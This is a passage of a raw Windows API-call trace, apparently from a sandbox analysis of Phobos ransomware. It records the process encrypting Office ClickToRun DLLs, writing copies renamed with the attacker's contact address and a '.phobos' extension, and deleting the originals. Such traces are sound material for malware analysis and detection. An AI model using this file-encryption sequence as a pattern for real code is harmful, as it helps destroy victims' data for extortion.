shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x20 [0165.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0165.645] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0165.645] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0165.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0165.645] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d15d0) returned 1 [0165.645] CryptSetKeyParam (hKey=0x1d15d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0165.645] ReadFile (in: hFile=0x2e4, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x60c0, lpOverlapped=0x0) returned 1 [0165.742] CryptEncrypt (in: hKey=0x1d15d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x60d0, dwBufLen=0x60d0 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x60d0) returned 1 [0165.742] WriteFile (in: hFile=0x2e8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x60d0, lpOverlapped=0x0) returned 1 [0165.744] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1710) returned 1 [0165.744] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0165.744] CryptEncrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x60, dwBufLen=0x60 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x60) returned 1 [0165.744] CryptDestroyKey (hKey=0x1d1710) returned 1 [0165.744] WriteFile (in: hFile=0x2e8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x112, lpOverlapped=0x0) returned 1 [0165.744] CryptDestroyKey (hKey=0x1d15d0) returned 1 [0165.744] CloseHandle (hObject=0x2e4) returned 1 [0165.744] CloseHandle (hObject=0x2e8) returned 1 [0165.746] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 1 [0165.748] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0165.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0165.748] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=24768) returned 1 [0165.748] CloseHandle (hObject=0x2e8) returned 1 [0165.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x20 [0165.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0165.749] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0165.749] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0165.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0165.750] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1810) returned 1 [0165.750] CryptSetKeyParam (hKey=0x1d1810, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0165.750] ReadFile (in: hFile=0x2e8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x60c0, lpOverlapped=0x0) returned 1 [0165.781] CryptEncrypt (in: hKey=0x1d1810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x60d0, dwBufLen=0x60d0 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x60d0) returned 1 [0165.781] WriteFile (in: hFile=0x2e4, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x60d0, lpOverlapped=0x0) returned 1 [0165.782] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d19d0) returned 1 [0165.782] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0165.782] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x70, dwBufLen=0x70 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x70) returned 1 [0165.782] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0165.782] WriteFile (in: hFile=0x2e4, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x122, lpOverlapped=0x0) returned 1 [0165.783] CryptDestroyKey (hKey=0x1d1810) returned 1 [0165.783] CloseHandle (hObject=0x2e8) returned 1 [0165.783] CloseHandle (hObject=0x2e4) returned 1 [0165.783] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 1 [0165.785] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0165.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0165.785] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=19136) returned 1 [0165.785] CloseHandle (hObject=0x2e4) returned 1 [0165.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x20 [0165.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0165.786] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0165.786] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0165.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0165.786] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d16d0) returned 1 [0165.786] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0165.786] ReadFile (in: hFile=0x2e4, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x4ac0, lpOverlapped=0x0) returned 1 [0165.801] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x4ad0, dwBufLen=0x4ad0 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x4ad0) returned 1 [0165.802] WriteFile (in: hFile=0x2e8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x4ad0, lpOverlapped=0x0) returned 1 [0165.803] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1890) returned 1 [0165.803] CryptSetKeyParam (hKey=0x1d1890, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0165.803] CryptEncrypt (in: hKey=0x1d1890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x70, dwBufLen=0x70 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x70) returned 1 [0165.803] CryptDestroyKey (hKey=0x1d1890) returned 1 [0165.803] WriteFile (in: hFile=0x2e8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x122, lpOverlapped=0x0) returned 1 [0165.803] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0165.803] CloseHandle (hObject=0x2e4) returned 1 [0165.804] CloseHandle (hObject=0x2e8) returned 1 [0165.804] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 1 [0165.806] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0165.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0165.806] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=307416) returned 1 [0165.806] CloseHandle (hObject=0x2e8) returned 1 [0165.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20 [0165.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.807] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.807] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0165.807] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0165.807] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=2118360) returned 1 [0165.807] CloseHandle (hObject=0x2e8) returned 1 [0165.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20 [0165.807] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 1 [0165.809] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.809] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 1 [0165.810] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0165.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0165.810] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=468696) returned 1 [0165.810] CloseHandle (hObject=0x2e8) returned 1 [0165.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20 [0165.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.810] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0165.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0165.811] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=396960) returned 1 [0165.811] CloseHandle (hObject=0x2e8) returned 1 [0165.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 0x20 [0165.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0165.811] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0165.812] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0165.812] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0165.812] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1550) returned 1 [0165.812] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0165.812] ReadFile (in: hFile=0x2e8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x60ea0, lpOverlapped=0x0) returned 1 [0165.859] CryptEncrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x60eb0, dwBufLen=0x60eb0 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x60eb0) returned 1 [0165.859] WriteFile (in: hFile=0x2e4, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x60eb0, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x60eb0, lpOverlapped=0x0) returned 1 [0166.326] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1ad0) returned 1 [0166.326] CryptSetKeyParam (hKey=0x1d1ad0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0166.326] CryptEncrypt (in: hKey=0x1d1ad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x50, dwBufLen=0x50 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x50) returned 1 [0166.326] CryptDestroyKey (hKey=0x1d1ad0) returned 1 [0166.326] WriteFile (in: hFile=0x2e4, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x102, lpOverlapped=0x0) returned 1 [0166.326] CryptDestroyKey (hKey=0x1d1550) returned 1 [0166.327] CloseHandle (hObject=0x2e8) returned 1 [0166.327] CloseHandle (hObject=0x2e4) returned 1 [0166.327] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 1 [0166.356] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0166.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0166.356] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=2285736) returned 1 [0166.356] CloseHandle (hObject=0x2e4) returned 1 [0166.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 0x20 [0166.356] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 1 [0166.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 